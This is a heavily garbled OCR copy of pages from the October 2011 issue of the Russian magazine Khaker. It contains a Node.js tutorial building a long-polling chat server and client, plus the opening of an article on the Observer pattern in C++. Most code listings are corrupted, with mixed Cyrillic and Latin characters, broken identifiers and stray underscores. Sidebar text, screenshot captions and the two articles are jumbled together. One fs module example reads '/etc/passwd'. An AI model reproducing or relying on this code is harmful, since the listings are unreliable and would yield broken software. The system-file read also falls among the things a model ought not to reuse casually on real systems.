и выводом до ставляла немало проблем . Даже Pythoп с Twisted с пасал слабо . Однако с появлением Node.jsзaдaчa н евероятноупростилась.

Если говорить википедийно, то Node .j s -этo событийно ­

ориентированная 1/0 серверная среда для JavaScгipt . А грубо говоря,

специальный JаvаS с гiрt-фреймворк, позволяющий делать вещи, в

общем, для я ва скрипта не характерны е, вроде работы с файловой

си стемой, процессами или создания НТТР-серверов безо в ся к и х брау­

зеров и в любом окружении.

Чтобы было понятнее, посмотри на код, который со здастwеЬ ­

серве р, эдоровающийс я со мной:

var http = require (' htt!Ll.,_· -------------­!tl:tp.createServer(fJ,Jnctioп (reg).!_g~t, respoпse)_{__

respoп_se.writeHead(200, {~пtепt-TypEt ' : ' text/plaiп ' });

rеsропsе.епd(' Привет, Кононенка! ' ); }).listeп(80~, '127.0.0.1' ); coпsole . log(.:Ц~ зanyJYgJ:LЬtt~L1П.0 . 0.1:8080L)_; ____ _

А вотта к мы е го запустим:

% поdе имя_файла_скрипта.js ~ервер запущен http:l/127.0.0.1 :8080/

Понятное дело , что вместо приветств ия можно выдавать <html>

<head><tit le> ... итак далее . ;! Кроме быстрой отдачи забавных привет­ствий и статичной ве рстк и м ожно реализовать практически что угодно!

<< Какой быстрой? Ява скрипт- это же медленно!»- вспомнишь

ты и будешьотчасти прав. Но и тут я могутебя порадовать! В кач естве

JаvаSсгiрt-движка в Node используется непревзойденный гугловскийV8, а м одель ввода/вывода во внутренностя х и сключительно а син хронная .

Вместе этодаетблестящую скоро сть, достойную высо конагруженного

сервиса . До казательством этогоявляется то, что именно на Nodeyжe

успешно реализован сервер обмена мгновенными сообщениями на

<< В Контакте >>, а уж где-где , а там нагрузка ого - го. К слову, немного похо­

жий сервер мы и напишем, но вначал е н емного мануальной теории .

НОВОВВЕДЕНИЯ В NODE Первое, что могло броситься в гла за в приведенном выше скрипте,-

это require. Н ода в се интересненькое и гото в енькое !то есть почти все! де ржит в специальных модуля х . Именно и х и подгружает глобальный этот

метод. Часть модулей написаны на С++ с либами V8, ча сть непосредствен­

но на JavaScгipt 'e . Самостоятельно JS-модуль сделать оч ень просто :

Haw мо.gуль circle.j.,._s __________________ _

exports.area = fuпctioп (r:L.t---------------

poll ingtest: xoker kononenko$ sudo node server . js соединений!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение! Отсылаю сообщение! Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение! Отсылаю сообщение! Отсылаю сообщение! Отсылаю сообщение! Отсылаю сообщение! Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Отсылаю сообщение!

Вэrnядсо стороны сервера

ХАКЕР 10 / 153/2011

JavaScri pt для сервера

6 О OJ_ otf GoosJie Ubr•rles АР

~ Х~О:ВООО Х , -Е) Google Docs - Hom Х ~~ ХАКЕР - node.js - С. xj "" LONG POLLING х ~

-------- -~...;tl!o(:[.o.l Cl l!fJ $ ~ c:J Socl•l IIJ: Отlср~о~т н;tбор н• "')' D Research CJ Docs CJ Work CJ News CJ Other

Сообщсtmс д11JI всех! Сообщение ДJ1JI всех! Сообщсtmе ДJ1JI всех! Сообщс1оtс д11JI вссх! Сообще1оtе д11JI вссх! CooбщcJrnc для всех! Сообщсtmс дпя всех! Сообщсtоtс дп.я всех! Сообщснисдпя всех! Сообщение дlUIВCCXI Сообщсtоtс д.ля всех! Сообщсtоtс для всех! Сообщсtmс дпя всех! Сообщсtmс д11Я оссх! СообщсJmе д.пя всех! Сообще1оtе д.пя всех! СообщсJоtс дп.явссх! Сообщеtmе для всех! Сообщс.tоtс для ВCCJt! Сообщеtоtс дпя всех! Сообщешtе АЛЯ всех! Сообщсшtс для всех! CooбЩCJDte для вссх! Сообщение A11J1 всех! Сообщсюtе д11Я .всех! Сообщеtmе АЛЯ всех! Сообщсшtе ц,:tя всех! Сообщение дпя всех! Сообщсtwс .Q1I.R всех! Сообщсtоtе ддявссх! Сообщеtmедпя всех! Сообщсниед11Я всех! Сообщснисд1U1 всех! СообщсниедnJI всех! Сообщсшmд1U1 вссх! Сообщение д11Я всех! Сообщсtmе дJlЯ всех! Сообщс.tоtе ДJ1JI всех! Сообщение ДJ1JI всех! СообщСJоtе дпя всех! Сообще1оtе для всех! Сообщсtmс для вссх! Сообщение АЛЯ всех! Сообщеtоtе дпя всех! СообщСJоtс д1U1 всех! Сообщсшtед,nя всех! Сообщениедпявсех! Сообщеtmеддявссх! CooбщcJoteд.nJI всех! СообщеJmедпявссх! Сообщеtmс д.ля всех! Сообщеtmс дпя всех! Сообщение для всех! СообщСJоtс А11Я ВCCJt! Сообщеtоtс дnя всех! Сообщсtmе для всех! Сообщение ДJ1JIIICCX! Сообщсtmе дпя всех! Сообщеtоtе дnя всех! Сообщс.Jше ддя всех!

Сообщсшtе д11Я всех! Сообщсtоtе для вссх! Сообщешtс д11Я всех! Сообщсtоtе дru1 всех! CooбЩCJDIC дпя всех! СообщеtmеДflЯ всех! Сообщсtmсддя всех! Сообще~mецпя всех! CooбщCJoteДJ1JI всех! CooбщctDfCWUIВCCXI Сообщение ДJ1JIВCCX! Сообщсtоtс дпя всех! Сообщсtоtс дпя всех! СообЩСJоtс д1IJI всех! СообщсJmе дпя всех! Сообщс1оtс дпя всех! Сообщеtmе A11J1 всех! Сообщсtоtе дпя всех! СообщСJtнС wвссх! COOOщcJot:C дns1 всех! Сообще1mс ДЛJ1 всех! Сообщсtmе АЛЯ всех 1 СообщсtоtС АЛЯ всех! CooбщeJDIC д1U1 всех! Сообщсtоtс дпя всех! Cooбщctnte для всех! Сообщеtоtе дпя всех! Сообщение цnя всех ! Сообщение Alll всех ! СОООщсние мя всех! Сообщение для всех! CooбЩCIDfC дпя всех ! СообщсtОJС АЛЯ всех! Сообщешtс дпя всех! СообЩСJОfе дпя всех! Сообщсtоtе .U..'lЯ всех! Сообщенисд.11JI всех! Сообщеtmс дпя всех ! CooбЩCIDIC дпя всех! Сообщсшtс цпя всех!

Вэrnядсостороны клиента

returп Math .PI • r • r;, _________________ _

}_; exports.circumfgreпce = fuпctioп (r)_ {

returп 2 • Math.PI • r; };

Здес ь встр ечается вто рой гл обальный объе кт-ехрогts. Внутри

с в о его модул я мы определя ем в н е м любые с вои методы , которые

по сл е будут до ступны извн е lагеа и с iгсumfегепсе-в примереl . Во с­

пользуемс я этим модуле м:

var circle = reguire(' ./ circle.js' )_; coпsole . log{_:_oдQ]цi!.!IJLI~J>YГi!_~_pМ!!)Icoм 4 р_авна %d ' , _____ _

circle.area (1)_)_; __________________ _

Чтобы вывести площадь кру га на экран, мы пользуемся третьим

глобальным объектом -console, предназначенным для вывода в stdout и std eг г. Метод log[l- этo ргiпtf-подобный метод [Классически й

фор м атированный вывод в JavaSc г ipt- этo с ча стье.- При м . р ед.l

для вывода в stdout, метод е ггогll-то же са мое для std e гг. По с л едни й

интересны й гл обальный объект- это process, да ющий нам полны й

контроль над исполнением те кущего процесса. Воттолько некоторые

из его методов и объектов , которые совершенноточно пригодятс я при

более или м е н е е серье з ном программировании сервера :

process.stdout, process.stderr и process.stdin- потоки стан­

дартного ввода/вывода. Для первы х двух метод wгite в руки, и

п олучитс я coпco l e . l og и соп sоlе . еггог, а вот метод std iп-этo уже

интере с нее . Nоdе-платформа событи й но -ориентированная,

а син х ронна я . Поэтому дляполучениястандартноговводаопреде­

ляется простая функция к событию :

_ J:!.rocess.stdiп.oп(' data ' , fuпctioп (chuпk) { ___ _

11 печатаем полученный символ __ process .stdout .write ('data: + chuпk) ,_· -------~ _ })_;, ____ .

Функции, которые указываются в качестве аргумента, - это

саiiЬа сk-функции. Они с рабатывают пр и некотором событии . В

этом,кстати,ився суть событи й нойориентированности , но этоты

вс е прекрасно знаешь .

process.argv- массив с аргументами командной строк и, заданны ­

ми при запуске .

U печатаем арсументы _grocess . argv.forEach(fuпct:ill!L_(val,_iodex, array)_ {

coпsole.log{iпdex + ' : ' + val)_;, ___________ _

_ })_;·-----·

105

Page 104: Хакер №10 (октябрь 2011)

КОДИНГ

process.cwd()- рабочая директория процесса. process.pid, process.getgidll process.getuidll -текущий id процес­са, а также gid и uid. process.kill(pid, signai='SIGTERM') -убьет заданный процесс. process.exit(num)- завершиттекущий процесс . Кстати, процесс

завершения можно отследить, зарегистрировав соответствующее

событие:

_RJ:Q.!:_g_~~.QпCe-"\.lt~,_ functiQD_()_{ ______________________ _ ___ __hQ_~ole.lP.gC.f.L.:U1ю ••• та_~g_,_._ ,~.); _____________________ _

_}) ,_· ---Прочие глобальные объекты и их методы уже нетакие интересные,

зато что интересно, так это модули, которые можно прикрутить к Node. Кэтому моменту ты должен соверЦJенноточно понять, что Node.js

-это нереально круто. Я, например, вспомнил, что всю жизнь только

и мечтал, что написать свой веб-сервер! И без каких-нибудь там

унылых СGI-скриптов, а с сокетам и , пустьдаже «веб»! Теперь это легко

реализуемо.

БИБЛИОТЕКИ ДЛЯ ЭМУЛЯЦИИ СОКЕТНОГОСОЕДИНЕНИЯ Мгновенность сообщений нашего сервера будетзаключаться в том,

что данные между пользователями будут передаваться без задержек

в стиле гeal-time web. Обеспечиваться это будете помощью эмуляции постоянного соединения сб раузером.Самаясове ршеннаятехнология,

постоянноедвухстороннеесоединениесбраузером,ксожалению,

поддерживается только новыми браузерами. А наш будущий сервер

должен суметьдать настоящий реалтайм-веб любому клиенту! Для

создания реалтайм-веб-приложений существует много различных

решений , но для нашего случая их всего ничего:

Очень популярная библиотека Soket.IO порадует красивым ди­зайном главной страницы проекта http:Usocket.io/ и приличным количеством плюшек и свистелок. Она обещаеточень многое сде­

лать за вас. И она, конечно, делает. Поддерживает кучу способов

соединения: от новых веб-сокетов до вечны х айфреймов. Новая

версия позволит генерировать серверные события, сопровождае­

мые данными. В Сети легко гуглится куча тутариалов и примеров,

описывающих то, как эта библиотека удобна и крута.

Гораздо менее популярна [а зря!) библиотека Beseda, которая делает примерно то же самое, однако имееттолько репазитарий на

гитхабе [goo.gi/9SoJR ). Она поддерживает гибкий протокол Bayeux итриспособасоединенияссервером .

Достоинствомобеихбиблиотекявляетсят~чтоихдействительно

легкоиспользовать.Правда,Sоkеt.IОплохоработаетсо всемиспосо­

бами поддержки соединения, кроме веб-сокетов. Также случаются

утечки памятиинеобъяснимые падения сервера при относительно

небольшом количестве клиентов [более 5000). А вот Beseda без веб­сокетов неплохо справляется и с 20 000 клиентов. Да и с веб-сокетами она работает по шустрее .

НАПИШЕМ ЛУЧШЕ! Чтобы лучше въехать в новую технологию, всегда полезно изобрести

велосипед. А особенно хорошо, если велосипед будет быстрый.

_ Как показал мой опыт работы с Node.js и JavaScгipt, чем проще­тем быстрее. Поэтому даже для реального применения своя библио­

тека можеточеньдаже сгодиться. Состоять наша библиотека будет

из одного файла io.js. А для проверкии отладки еще два -сценарий сервера serveг.js и страница клиента iпdex.html.

Самым универсальным способом поддерживать постоянное соеди­

нение с сервером является lопg-роlliпg-соединение, поэтому для на­

чала реализуем его. Нам важно, чтобы наш сервер мог поддерживать

кучусоединений,нетекинетормозил.

После долгих и упорных ковыряний в исходниках, отладки и

профилирования Soket.IO причина падений и тормозов, о которых я говорил выше, была найдена! Это тайм-ауты, обрабатывающие

106

СТАНДАРТНЫЕ МОДУЛИ NODE

а бор модулей Node.js удовлетворяет потребности при написа­нииоченьбольшогоколичествасофта .

Смотри сам:

• fs- модульдля работы с файловой системой. Есть методыдлялюбых

операци~отчтенияизаписидосозданиясимволическихссылок.

____fhreac!File(_'/etcLRasswd ', function (grr, __if___(err:) throw err; ___hQ_nso.lg_,_:),Qg_(data); ___________ _ _ }.); ___ _

datg_)_~.--__

• crypto- криптографические методы: хэ ширование любыми ал­горитмами [sha1, md5, sha256, sha512 и т. п.), конвертация данны х

и, собственно, любое шифрование .

net- модуль для асинхронной работы с ТСР.

_ ___)@J'_n__e_:t:..__r_g_g_y_ire_(.'n_ej:_'_)_; ____________________ _ v а r s е rve_r = lle:t.-'.reil.:t.e.$_e_r_v_e_r.{f_u n ctiQП_(_(:_)_{ _______________ _

__ cд~.r.ite.Cмl:J,Q\r\~);, ____ _ __ c_.J2ip__g_(.(;); _________ _

__ }.);

• dgram- для асинхронной работы с UDP- и другими датаграмны­

ми протоколами .

events-для реализации своей событийной системы. util- набор полезных методов: форматирование строки, при­нудительное наследование .

• tls-имплементация OpenSSL, то естьудобные SSL-соединения для твоих программ .

• vm- виртуальная JаvаSсгiрt-машина, т. е. модуль для запуска и

компиляции [eval этого не умеет) js-скриптов внутри своей про­граммы.

---·--------__ _j.J_~;i.дgscr_ipj:_, eval.eJI., ____ _ ___ v.m-=-.J:_e.g uire(_'_ vm ') ; ____________________________________ _

_ using~J; riRt = vm.runiiJI!:!j.sContext Cl_ocalm __ =..l; ~--------___ 'my__fil~vm.'_); ____ _

console.lo_g_(' localVar: ' + localVar + ', usin~c.r:.!Rt: ' + u_~.io.gscr:.!P-1); ________________ _

__iLloc al V_ii!:~-~-n_.__ using~cr.iQ!_: 1

• dns- резолвинг любы х записей [МХи т. п.) .

http, httрs-добротные и быстрые реализации wеЬ-серверов. • child_process- работа с дочерними процессами, фор к, ехес,

spawn и т. n. • os- все, что нужно от операционной системы.

Есть еще куча и стандартных модулей, и нестандартны х, написан­

ных сторонними разработчиками: от модулей для работы MySQLдo

полноценныхвеб-фреймворков.

В КАЧЕСТВЕ JS-ДВИЖКА В NODE ИСПОЛЬЗУЕТСЯ НЕПРЕВЗОЙДЕННЫЙ ГУГЛОВСКИИ V8

ХАКЕР 10/153/2011

Page 105: Хакер №10 (октябрь 2011)

Процесс разработки

каждое соединение с клиентом. Каждый асинхронный цикл, под­

держивающий логику обработки lопg-роlliпg-соединения, ест мно­

го ресурсов . Поэтому надо постараться ужать все в один цикл. Для

этого каждое соединение представим << плоским >> набором данных,

который будет содержать информацию о том, в какой момент его

необходимо обнулить, отправив содержимое клиенту. Для этого в

файле io.js напишем следующий код :

//_ИJ:j_Ig!H!.<t!J_ПP.9~1Q! .. Ji!lill!ЧИЯ HQ!!.Ь.llUiaHHЫX, ______ _ var CHECJCI_NLERVAL = 188~;

LL Максималь~ьнQ!:~че~Т!!о_итераций перел

11 обя3ательным 'брасом var MAX_LOOP_CQ.UNT = 18; __ /LJабдица соед!1.!!ений ___ _ y_ar coпnections- {};, __________________ _

LLlli! .. tili\ill! __ cQ.eA.инeния va c..J,.Q_ngPolli..ogQilj:a = function () { thi!;_.IoopCounj: = MAX_LOOP_COUNT; this .dataQueue....= []; _this . resgon~e = nuЦ;, ___ _ }; ________ _ ·----------------·---------------Ll Итера~я основного ~~л~a~-------------­f u..o.tli .. on mainloogiterjltj.Qll.()_{ var pQllingDat!l; fo c_(var id in щnne~tjon~) {

J ollingData = connectipns_[idj; --·-- _ _ _ _ __ _jf_(gollingData . resgonse)_{....LL Если клиеi:!LD.Ql!"'к.!.!л ."_юч"'е.,н,_ __ _ _ gollingData.loogCount--:~·----------

ХАКЕР 10/153/ 2011

JavaScгiptдля сервера

11 ... и имеет данные либо_долго висит бе3 дела __if_(gollingData.dataOueue.le..ng-"'t !!..h __________ _ ___ LJ_gollingData.loogCount --- е) _________ _

flush(polliпgData); //_,_,..&QpaQ>Iвaeм ег_о ________ _ }

} } fun ction flu!;h_(gollil}gDa.ti!)_{ _____ _ goll i n gDa t _g_, r e..s.QQ.O se ,_r,ш..Q.(g о ll i ngDa t а . c!i!...ti!.QuJ! .. u .. e...j.Q.iп .. C..J~))~--

_gollingData.dataQц_eue = [].; ___ _ polHngQata . r_e~pQПse = nul..l ;

} setinterval(mainLoopiteration, CHECK_INTERVAL).;_

Каждуюитерациювсесоединенияпроверяютсянаналичиедан­

ных или на простой . В случае, если в соединение пришли данные либо,

наоборот, давно ничего не приходило, текущий запрос обрывается с

отправкой данных . После чего клиент должен послать новый запрос.

Практически библиотека готова! Теперь необходимодать возмож­

ностьклиентуполучатьсвойидентификаториобрабатывать •долгий »

запрос данных, а также записыватьданные в соединение.

var lastiD = е;....LL..Идентификато~СQ соед,.,и"'н"_еншишя,__ ___ _ 11 Ре.Qiстрация клиента и В~I!Раl!!.ение его идg_нтифи_к_;tiQРа __ _ var init = exports.init = function (req]J!!st, resgQП_se) { var id = 'connection_' + ++lastiD;

_connections[id] = new LongPoll_ingDataJ)_; ____ _

~gonse . end(iQ)~.-------------------};, ________________________ _

107

Page 106: Хакер №10 (октябрь 2011)

КОДИНГ

.L~ржание» зan_I)QgJ_Д2!fHЫ>\.S.QМJ!_t-!!~.!i!'!.!L ___________________________ _ YQrШtd_ = е КP.Qrt 5 ._h о 1d = f цn ct i оп (iQ,_r_g_g_y_e 5 t , __ re 5 ро n5 е) _ _{_ ______ _

_y _ _ш:_ J2Q.l.l:ingQ.~ta = connection~(_:i,_cj_J; -----------------_j._Upollingl:)ata._re_~poд5e l==_n.JJll) ___ _

_ fly~b(p_o_1_lingQat_a); ---------_12Ql1ingDat~~PQ.IlS.e--=._c_gspQD5~; ___________ _ _pq_l_]jngQ.i!ta .1oopC.Qцnt_:;.l'U\_~_!.QQP_hQ_UШ.; ____________________ _ }; ________________________________________ _ LL_~;m-~-~.!>..д~J:iHЫX...e.J&eШШg_I:J]'!_e_ ____________________ _ y_ar wr.ite_.::_eXPQL:!:5. wri te_::..f~ n ~tioo_(j__Q, __ g_a_ta) _{__ ____________ _ var polliQgD__g_t_g =_<;Qnn_e_ьtion5[i_9); _____ _

_pollingQaj:_;;~_._cjataQueue.pu5h(new Buffer_(datь_tgSj:ring_())J; __ } _____ _ ·----------------------LL_1_gnиcь данн~х._е~~;_е coeдюt.e.~_l:t!L _______________________ _ y_gr__!1.r__g.a_9 с а 5 t = е х ро rt ~ Ь ro а d с а 5 t _::_ f u n c :tj,Q!l(cj_~tg) _ _{ _______ _ _fQL(y_g.r_j__!:l_jn conд.e..GJQ~) wri te (;i.,Q_,_qg_t_g); __________________ _

}_ ----------------

Чтобы воспользоваться нашей библиотекой, используем уже

знакомое слово гequiгe:

.Y<!.L_i.Q_ = reg_yJ.r.e_(_'_,_Lmy_ьgol]j.Q.rgryЛQ,j_~)_; _______________ _ iQ,Ь.roadca5tt_opj!_~p<!.~!:i_O_e __ ~_QQYI!lli~; _______________ _

Теперьдавай попробуем нашу библиотеку применить касательно

основной цели статьи, то естьдавай уже напишем се рвер мгновенных

сообщений. В файле seгveг.js запишем:

va r htlp_:_reg_цir..e..Ciltt.Q.' l, ______ _ _ fs...:;..r..e.g uire(~)_,

_ iQ =__r_e.quire_(_'__. Lio .j_s' ); _L/_нaшa! _

Y<!L~r_y_er = httP. .cre_ate.s.e..c.Y.er-0; ____________________ _

serve.r,_;~_9_9_~_ьtener.Cr eq!,J~$_i~,_b.an.91eftg_g_ц_e_~_t)_; ___________ _ ~rver .lj,5teJJ.(!~,__'],o c alЬ.9.tl.~J; _______ _

f unction hand_leReJ!Ue5t(regue5t,__r_e.5pQD5e)_{ __ i f (regue5t.method.=== -~EOST' )_{ _________ _

"'-- io~ tд!.t_(r.e.gue5j:_,__r:g_s_pgм_g); _________________ _ _}_E! l .?_e__{_ ________________________________ _

__ i f (Г__е_q_у.е~:!;,ц.r 1 = ==--'L:__Jj_r_g_g ue 5 t . ц.r_1 __ :о_:;_",_:д n d ех . ht m 1' )_{ ___ _ ~~dFile(_'_,_/j_nqgx.J)j:_m 1' . function _(er_r, __ content) __ L _____ _ ~129~~ en_c:!_(.~ontent);

_ });_ } е15е {

__ j _g_,bgJQ_(r.e.gy_e_5t .ц.rl,_s_p1il.CL)_,_pQp_(),_r..e_g_y~_$j:,_re 5 p_Q.!l~.el; __ ____}_ ------ -------_} ________ _ } ______ _ !L Кто-то всех часто onoв[email protected].! __ 5e:!;Interv~_(fцш~_tion() ___________ _ соn5о1е.,]_Q_g( "Отсылаю сообшениеl".)_;, _________________ _ iо,Ьrоаdса5t( "Сообшение для всех !" ),_,_· ______ _

}_,_500);

POST-зanpoc будет восnриниматься нашим сервером как регистра­

ция нового клиента, а GET-зanpoc вида <</идентификатор_клиента >>

будет воспринят как «долгоиграющий >> запрос. Ну а для эмуляции

интерактивности каждые 500 миллисекунд будет посылаться сообще­ниевсем пользователям .

От клиента ожидается, что он будет регистрироваться, держать

соединение и переподключаться. И никаких специальных клиентских

библиотек. Что, кстати, тоже можно расценить как недостаток описан­

ны х выше библиотек.

Клиентский код напишем прямо в index.htm! {заранее подключив jQueгyl:

108

ТИПЫ ПОСТОЯННОГО СОЕДИНЕНИЯ С БРАУЗЕРОМ

а данный моментсуществует

nять способов поддержки постоянного

соединения с браузе ром:

• WebSocket'ы- возможность новых браузеров поддерживать со­

кетное соединение по протоколу НТТР.

FlаshSосkеt'ы-эмуляция WebSoket"oв при помощи специальной

флешки. Способ возможентолько при наличии флеш-плеера.

Long роlliпg- «долгоиграющие >> запросы . Способ, при котором на

обычный НТТР-запрос сервер не сnешит отвечать, а удерживаетего

какое-то время до появления новы х данны х, после чего отвечает и

закрывает соединение. Также возможен вариантсjsоnр-форматом

ответа. Способ поддерживается всеми браузерами.

Multipart streaming-дозаписывающийся ответ сервера. НТТР­запрос, который можетчитаться не закрываясь. Поддерживается

только Fiгefo x'oм . Forever lfгаmе-вечный айфрейм , в который дописываются новые

порции данных. Способ поддерживается всеми брауэерами .

5.?_cr:i,pt> ----·---------------------------------------Y.МS..QD.e.ctioniD;___ ______________________________________ _

function connect_()_{ __ _ $_._J105t( :'.htlR;_Lf.)..Qca1host /..::,_f_unctioo_(dat;J.) { ____ь_Qдe_ctiQDl!L:o__@j:__;J.; _____________________________________ _ _ p_Ql_l_(_)_;__ _______________________________ _ _}); ______________________________ _ }_ _________________________________________ _ function hand1eData(data)_{

data = data~-~P1Ш.'..I.'..).; ------while (.c:tgj:_q~J,ength > 0) -----------------

__j_CQQ_gy~),.a_J:!pen_ci.(gata. 5hift()_.±....'.}p~)_; _______________ _ _ pgll()_; _____ _ } _____ _ funct i o_o_poll(_)_{ __ ------------_$_._get ('h1;_tQ.;./.L 1oc91tш.li/..:...t._conectJgдJJ), _lJшl!i1e.Oata); ______ _ } ____________________________________ _ -~J]_o_~_t(); _____ -----5_L5criR~tL> _______________________________________ _

Вотвесьнеобходимый рабочийскелетдля сер верамгновенных

сообщений. Пока он умеет в реальном времени раздавать всем со­

общения, однако же у него очень большой потенциал. Несколькими

строчками можно будет научить наш сервер, например, обменусо­

общениями между пользователями или работе с базой данны х- в

общем, чему угодно.

выво ы Можно вполне понять , почему Node.js так быстро набирает популяр­ность, сообщество ра стет, а библиотеки плодятся как хомячки .

Еще бы, ведь теперь каждый, кто хоть капельку знаком с

JavaScгipt'oм , может считать себя серьезным системным программи­

стом! Каждый теперь сможет превратить унылую статику в захваты­

вающую интерактивность, а может ввергнуть растущие nроекты в

пучину с пагетти кода с каскадами замыканий и заворотами асинхрон­

ной логики ... Будем надеяться на лучшее . :Х:

ХАКЕР 10/153/2011

Page 107: Хакер №10 (октябрь 2011)

КОДИНГ 1 Т1 PS& TRICKS deeonis ldeeonislagmail .coml

Паттерн проектирования

На блюдател

Продолжаем знакомство с паттернами объектно­

ориентированногопрограммирования . Сегодня

мы узнаем о паттерне «Наблюдатель», который

облегчил жизнь многим 00-программистам .

Любая система, работающая в режиме реального

времени, в той или иной степени может исполь­

зовать этот паттер н, и поэтому его знание и пони­

мание просто необходимолюбомууважающему

себя кодеру.

« interface» ObservaЫe

+дddObserver(o: Observer) +RemoveObserver(o: Observer) +NotifyObserver()

ConcreteObservaЫe

-observers: Observer[]

+дddObserver(o: Observer) +RemoveObserver(o: Observer) +NotifyObserv.er()

Вызывает метод HadleEvent () у каждого наблюдателя

ХАКЕР 10 / 153/ 2011

о .. *

Диаграмма классов паттерна

«Наблюдатель»

.. 1 «interface>> •1 Observer ~

1 ConcreteObserer

1 +HadleEvent()

1

1

1

редставим ситуацию, что нас взял и на работу в крупную фирму,

котораяразрабатываетсофтдлямониторингаработыкомпью­

терногожелеза . У них е сть некий драйвер, который отслежи­

ваеттемпературу процесса, обороты HDD, температуру видеокарты и прочую информа цию. Н а ша задача на писать клиентскую часть софта,

ту, которая работает в гiпg-3 и выводитэту информацию пользователю

в режиме реального времени. Причем программа должна не п росто

выводить ин фу в кучу, а показывать ее н а разных <<экра на х>>. То есть

одинмодульклиентскойчастизанимаетсяотображениемсостоя ни я

центрального процессора, другой модуль-графического процессара

и т. д . Да и как оказалось, н а ш е новое руководство решило замахнуться

на мировое господство и хочет, чтобы софтбыл расширяемым, то есть

чтобы сторонние разработчики могли создавать свои модули .

В наследство от нашего предш ественника нам достался класс

System lпfo, который в теории предназначается для сбора инфы о систем­

ном железе и оповещении клиентской части об изменениях в состоянии

зтогожелеза. Если с первой частьюушедший из фирмы коде р с пра вился

хорош о, то вторую он только начал реализовывать, и поэтомуосновная

часть работы по коммуникации класса Systemlпfo с клиентскими модуля­

ми легла на ваши плечи . Для началадавай взглянем, что у на с есть.

Первоначальный 1!J1риант класса Systemlnfo class Systemiпfo() _{ ______ _ _.fi_Q_at getCPUTemr.IO;

float getGPUTemp(); int getHDDSpeed();

_y_oid~OQt_ifyЛients() ;_

109

Page 108: Хакер №10 (октябрь 2011)

КОДИНГ /TIPS&TRICKS

Методы getCPUTemp, getGPUTemp и getHODSpeed предназначены для получения информации от драйвера. Там всё просто, и позтому они

работают как часы. Та кже имеется метод пotifyCiieпts, который, суд я по

комментам ваш е го предш естве нника , должен о повещать клиентские

модули об изменениях в состоянии системы . Этот метод вызывается

где-то в недрах класса System lпfo. Как зто делается, нам со всем н е

важно, гл а вное то, что пotify Cii e пt s срабатывает при каждом апдейте

инфы о железе и клиентские модули точно ничего не пропус тят.

НАЧИНАЕМ КОD,ИТЫ Для н ачала нам нужно сделать три основных модуля, которые

отображаюттемпературу процессора, температуру видеокарты и

скорость вра щения HDO. Мы уже знаем, что для о п овеще н ия кли­

ентов используется функция пotifyCiieпts, и следовательн о, н а до

как-то передавать ин фу из этого метода нашим модулям. Их у нас,

кстати, пока всего три: cpuTemp, gpuTemp и hdd Speed. Каждый из

этих модулей долже н уметь получать да нны е от Sys teml пfo , по этом у

первый вариант реализации пotif yCiieпts, который при ходит в голов у,

выглядит примерно так :

Peaлизaция_notifyClients(),__ ___ _ void_Systemlllfo() __________________ _

{ float t_cpu = getCPUTemp();

float t_gpu = getGPUTemp() ; int s_hdd = getHDDSpeed();

_ cpuTemp. URdate(1_@Q,_j;_gJ2!!,_s__hdd);, _________ _

gpuTemp&pdate(tsJ2!!,__1_gJ2!!,_s__hdd); hddSpeed .update(t_cpu, t_gpu, s_hdd);

Что тут, собственно, не так? Во-первых, основным принципом

пр оектирования с п омощь ю паттернов является программирова­

ние на уровне интерфейсов. В нашем же случае класс Systemlпfo

долже н з н ать подробную информацию о каждом клиентском

модул е. Это, возможно, было бы приемлемо, если бы число модулей

было фиксированным, но мы пл а н ируем п остоянно увеличивать их

количество, а следователь н о, такой подход создаст кучу неудобств,

а впоследствии и ошибок. В о -вторых, п ара метры, передаваемые

функциям updatell, очень смахивают на интерфейс взаимодействия между Systeml пfо и кли е нтским и модулями, н о таковыми не явля­

ются. Н у и в-третьих, все эти вы зо вы методов upd atel l -этo пере­

м е нная ч асть кода, которую н уж н о инкапсулировать. Исправле н ием

эт и х н едостатков мы сей ча с и займемся.

Если ты выписываешь наш журнал, то тебе уже знаком принцип работы

паттерна « Наблюдатель>>. Его устройство очень похоже на под п иску на

прессу, только в качестве издательства в мире паттернов выступает

субъект, рассылающий оповещения об изменении состоя ни я чего­

либо, а читателями являются наблюдатели, которые регистрируются у

субъекта для получения сообщений от него .

В процессеработы наблюдатели могут как отписываться от опо ­

вещени й, так и вновь на них подписываться. Субъектбудет исправно

расс ылать всем клиентам сообщения об изменениях в системе. Таки м

образом, гл ав ную роль в паттерне будут игратьдва интерфейса: интер­

фейс субъекта, рассылающего опов ещения, т. е . Subject, и интерфейс наблюдателя, принимающего эти опо веще ния , т . е. ОЬsегvег. Subject будетописывать методы п одп иски и от п иски на события, а также ме­

тод , о п овещающий наблюдателей об изменениях . ОЬsегvегописывает

один еди нствен ны й метод- принимающий информацию от объекта.

ПРИМЕНЯЕМ ПАТТЕРН Итак , мы уже з наем достаточно, чтобы изменить код нашей программы

и привести его к правильному виду. Для начала о пишем интерфейсы

Subject и ОЬsегvег.

110

Интерфейсы Subject и Observer class Subject(),__ _________________ _

:( puЫic:

void registerObserver(Observer &obs) = е;

void removeObserver(Observer &obs) = е;

protected :. _______ _

void notifyObservers()-=-e;

class Observer()

{ puЫic :

void update (float t_cJlli,_f!gat t gJlli,~hdd) = е,.._· ___ _

} __________________ _

Методы гegisteгObseгve гll и гemoveO bse гve гll служат для до­ба вления/удаления на блюдателей из сп и ска подписчиков . Функция

пot i fyObseгve г sll будет оповещать наблюдателей, а метод updatell интерфейса ОЬsегvег будет обрабатывать эти оповеще ния . Те перь

подправим наши классы: System lпfo, CpuTemp, GpuTemp и HddSpeed.

Реализация классов

class Systeminfo()

puЫic Subject

guЬlic :

ypid registerOJ:J~grver(Observer &obs) ____ _

{ 11 код, добавляющий ссылку на наблюдателя 11 в список или массив

void removeObserver(Observer &obs),__ __________ _

{ 11 код, удаляющий ссылку на наблюдателя 11 в список или массив

protected : void notifyObservers()

{ 11 код, вызывающий метод update() _Ll_для ка)l(,!lо_r_о_обьекта Observer из_s_писк"а,__ _______ _

_ } }

class CpuTemp() puЫic Observer

{ puЫic:

void JJRdatg_(fLQ.<!1 __ t_ cpu, float t_gJlli, int s_!нbl) {

11 код, обрабатывающий информацию от Systeminfo

LL Реализация классов GpuTemR и HddSR"'e"'e"'d _________ _

11 подобна реализации CpuTemp

